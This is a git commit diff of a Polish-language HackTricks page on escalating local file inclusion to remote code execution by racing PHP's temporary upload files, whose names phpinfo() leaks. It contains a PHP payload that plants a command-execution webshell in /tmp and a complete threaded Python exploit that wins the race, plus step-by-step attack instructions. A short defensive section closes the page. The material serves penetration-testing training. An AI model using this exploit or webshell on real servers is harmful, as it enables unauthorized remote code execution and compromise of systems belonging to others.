mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
		
							parent
							
								
									2bab9edd96
								
							
						
					
					
						commit
						05fa018f00
					
				| @ -1,55 +1,156 @@ | ||||
| # LFI to RCE via PHPInfo | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".** | ||||
| Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów: | ||||
| - Dostępnej strony, która wypisuje wynik phpinfo(). | ||||
| - Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika). | ||||
| - Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części. | ||||
| - Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę. | ||||
| 
 | ||||
| [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) | ||||
| Klasyczne opracowanie i oryginalny PoC: | ||||
| - Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) | ||||
| - Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors) | ||||
| 
 | ||||
| **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) | ||||
| Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s | ||||
| 
 | ||||
| Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz: | ||||
| Uwagi dotyczące oryginalnego PoC | ||||
| - Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name]. | ||||
| - Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku. | ||||
| 
 | ||||
| Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML: | ||||
| ``` | ||||
| sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py | ||||
| sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py | ||||
| ``` | ||||
| Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null) | ||||
| ## Teoria | ||||
| 
 | ||||
| {{#file}} | ||||
| LFI-With-PHPInfo-Assistance.pdf | ||||
| {{#endfile}} | ||||
| - Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['<field>']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony. | ||||
| - Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name. | ||||
| - Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką. | ||||
| 
 | ||||
| ### Teoria | ||||
| W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\\Windows\\Temp\\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir. | ||||
| 
 | ||||
| Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany. | ||||
| ## Przebieg ataku (krok po kroku) | ||||
| 
 | ||||
| Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty. | ||||
| 1) Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell): | ||||
| ``` | ||||
| <?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>'); | ||||
| ``` | ||||
| 2) Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~5–10KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES. | ||||
| 
 | ||||
| W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php** | ||||
| 3) Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['<field>']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php. | ||||
| 
 | ||||
| W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**". | ||||
| 4) Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia. | ||||
| 
 | ||||
| **phpinfo()** | ||||
| > Wskazówki | ||||
| > - Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu. | ||||
| > - Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu. | ||||
| > - Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego. | ||||
| 
 | ||||
| **PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI. | ||||
| ## Minimalny PoC Python 3 (oparty na socketach) | ||||
| 
 | ||||
| **Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)** | ||||
| Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD. | ||||
| ```python | ||||
| import itertools | ||||
| import requests | ||||
| import sys | ||||
| #!/usr/bin/env python3 | ||||
| import re, html, socket, threading | ||||
| 
 | ||||
| print('[+] Trying to win the race') | ||||
| f = {'file': open('shell.php', 'rb')} | ||||
| for _ in range(4096 * 4096): | ||||
| requests.post('http://target.com/index.php?c=index.php', f) | ||||
| HOST = 'target.local' | ||||
| PORT = 80 | ||||
| PHPSCRIPT = '/phpinfo.php' | ||||
| LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path | ||||
| THREADS = 10 | ||||
| 
 | ||||
| PAYLOAD = ( | ||||
| "<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n" | ||||
| ) | ||||
| BOUND = '---------------------------7dbff1ded0714' | ||||
| PADDING = 'A' * 6000 | ||||
| REQ1_DATA = (f"{BOUND}\r\n" | ||||
| f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" | ||||
| f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") | ||||
| 
 | ||||
| REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" | ||||
| f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" | ||||
| f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" | ||||
| f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" | ||||
| f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") | ||||
| 
 | ||||
| LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") | ||||
| 
 | ||||
| pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") | ||||
| 
 | ||||
| 
 | ||||
| print('[+] Bruteforcing the inclusion') | ||||
| for fname in itertools.combinations(string.ascii_letters + string.digits, 6): | ||||
| url = 'http://target.com/index.php?c=/tmp/php' + fname | ||||
| r = requests.get(url) | ||||
| if 'load average' in r.text:  # <?php echo system('uptime'); | ||||
| print('[+] We have got a shell: ' + url) | ||||
| sys.exit(0) | ||||
| def race_once(): | ||||
| s1 = socket.socket() | ||||
| s2 = socket.socket() | ||||
| s1.connect((HOST, PORT)) | ||||
| s2.connect((HOST, PORT)) | ||||
| s1.sendall(REQ1.encode()) | ||||
| buf = b'' | ||||
| tmp = None | ||||
| while True: | ||||
| chunk = s1.recv(4096) | ||||
| if not chunk: | ||||
| break | ||||
| buf += chunk | ||||
| m = pat.search(html.unescape(buf.decode(errors='ignore'))) | ||||
| if m: | ||||
| tmp = m.group(1) | ||||
| break | ||||
| ok = False | ||||
| if tmp: | ||||
| req = (LFI % tmp).encode() % HOST.encode() | ||||
| s2.sendall(req) | ||||
| r = s2.recv(4096) | ||||
| ok = b'.p.php' in r or b'HTTP/1.1 200' in r | ||||
| s1.close(); s2.close() | ||||
| return ok | ||||
| 
 | ||||
| print('[x] Something went wrong, please try again') | ||||
| if __name__ == '__main__': | ||||
| hit = False | ||||
| def worker(): | ||||
| nonlocal_hit = False | ||||
| while not hit and not nonlocal_hit: | ||||
| nonlocal_hit = race_once() | ||||
| if nonlocal_hit: | ||||
| print('[+] Won the race, payload dropped as /tmp/.p.php') | ||||
| exit(0) | ||||
| ts = [threading.Thread(target=worker) for _ in range(THREADS)] | ||||
| [t.start() for t in ts] | ||||
| [t.join() for t in ts] | ||||
| ``` | ||||
| ## Rozwiązywanie problemów | ||||
| - Nigdy nie widzisz tmp_name: Upewnij się, że naprawdę wysyłasz POST multipart/form-data do phpinfo(). phpinfo() wypisuje $_FILES tylko gdy pole przesyłania pliku było obecne. | ||||
| - Wyjście nie jest wysyłane wcześnie: zwiększ padding, dodaj więcej dużych nagłówków lub wyślij wiele równoległych żądań. Niektóre SAPI/bufory nie wypuszczają danych aż do osiągnięcia większych progów; dostosuj odpowiednio. | ||||
| - Ścieżka LFI zablokowana przez open_basedir lub chroot: musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE. | ||||
| - Katalog tymczasowy nie jest /tmp: phpinfo() wypisuje pełną absolutną ścieżkę tmp_name; użyj tej dokładnej ścieżki w LFI. | ||||
| 
 | ||||
| ## Wskazówki obronne | ||||
| - Nigdy nie udostępniaj phpinfo() w środowisku produkcyjnym. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu. | ||||
| - Trzymaj file_uploads wyłączone jeśli nie są potrzebne. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację wszystkich ścieżek include/require. | ||||
| - Traktuj każde LFI jako krytyczne; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE. | ||||
| 
 | ||||
| ## Powiązane techniki HackTricks | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-temp-file-uploads.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| via-php_session_upload_progress.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-nginx-temp-files.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-eternal-waiting.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Referencje | ||||
| - LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf | ||||
| - PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user